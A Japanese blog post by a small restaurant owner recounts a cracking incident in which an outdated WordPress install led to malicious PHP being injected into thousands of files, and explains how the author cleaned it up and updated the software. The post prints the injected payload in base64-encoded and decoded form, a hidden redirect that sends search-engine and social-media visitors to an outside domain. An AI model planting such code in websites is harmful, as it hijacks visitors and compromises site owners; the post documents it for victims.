WordPressの脆弱性を狙ったPHPコード不正書き換えについて | 佐渡の洋食屋店長のブログ

佐渡の洋食屋店長のブログ

佐渡の洋食屋店長のマニアックなブログです。 グルメネタは少なく、マニアックなネットTEC的なネタ、佐渡ネタが豊富なブログです。

佐渡の洋食屋店長のブログ-わぷー
WordPressの日本公式キャラのわぷー。
ピカチューっぽくてかわいいですよね。

ま、それは置いといて・・・いやぁ大変なクラッキング被害でした・・・。
WordPressを設置して、新しいバージョンに更新していないところから、WordPressのセキュリティの脆弱性を狙った攻撃を受けてしまいました。

被害は甚大でして・・・そのサーバー内にあるPHPスクリプトすべてに不正コードが埋め込まれました。そのファイルの数・・・6498ファイル。

不正に埋め込まれたコードはこちら。
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));


これをエンコードすると・・・
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex.ru/yandsearch?(.*?)&lr=/",$referer) or preg_match ("/google.(.*?)/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://froling.bee.pl/");
exit();
}
}
}
}
こうなるようです。(會澤さんエンコード感謝!)

リファラー(リンク元)がGoogleとかYahooとかの検索エンジンやソーシャルメディア、短縮URL等から、そのWordPressにアクセスした場合、http://froling.bee.plに飛ばされて、どういうキーワードで検索してきたかによってアクセス先を振り分ける。という感じ。
すべてのPHPコードに埋め込まれているので、管理画面にも入れません・・・。

しかもご丁寧に・・・<?phpを文字列検索かけて、その後にソースを埋め込んであるので、一つのファイルにいくつも埋めこんである。というのも見受けられました。

さて、このクラッキング被害の対処方法ですが・・・

まず、FTPでPHPファイルをすべてローカル環境にダウンロードします。
その後、一括テキスト変換出来るソフトで該当のコードを書き換えます。
使ったソフトはこちら→GrepReplace
佐渡の洋食屋店長のブログ-ファイル置き換えソフト

400以上あるワードプレスのPHPファイルがサクっと不正コード除去出来ました。
いやぁ、このソフト超便利っす。
で、不正コードを除去したファイルをFTPで戻す。

WordPressが開けるようになったのを確認して、ログインします。
最新のバージョンに更新します。

これをすべてのPHPファイルに行うわけです。
ちなみに、CMS系(XOOPS、MovableType、Zenphotoなど)も最新バージョンにしておきましょう。


サイト管理者はCMSのバージョンは常に最新のものにしておくことをおすすめします。例えそれが、クライアントさんが管理すべきCMSであっても、今回のケースのようにサーバー内すべてに影響を及ぼすわけですから・・・。(上の階層のフォルダも下の階層のフォルダもすべて不正コードが埋め込まれています。)

もし、自分のサイト(WordPressやMovableTypeなど)にアクセスしても真っ白検索をかけてアクセスすると違うサイトにリダイレクトする場合は、同じ症例にかかっているのかもしれません。

対処方法でお悩みの方、良かったら相談にのります。


このブログの更新情報をFacebookで購読できます。
↓↓


ブログ読者登録はこちらです。
↓↓
読者になる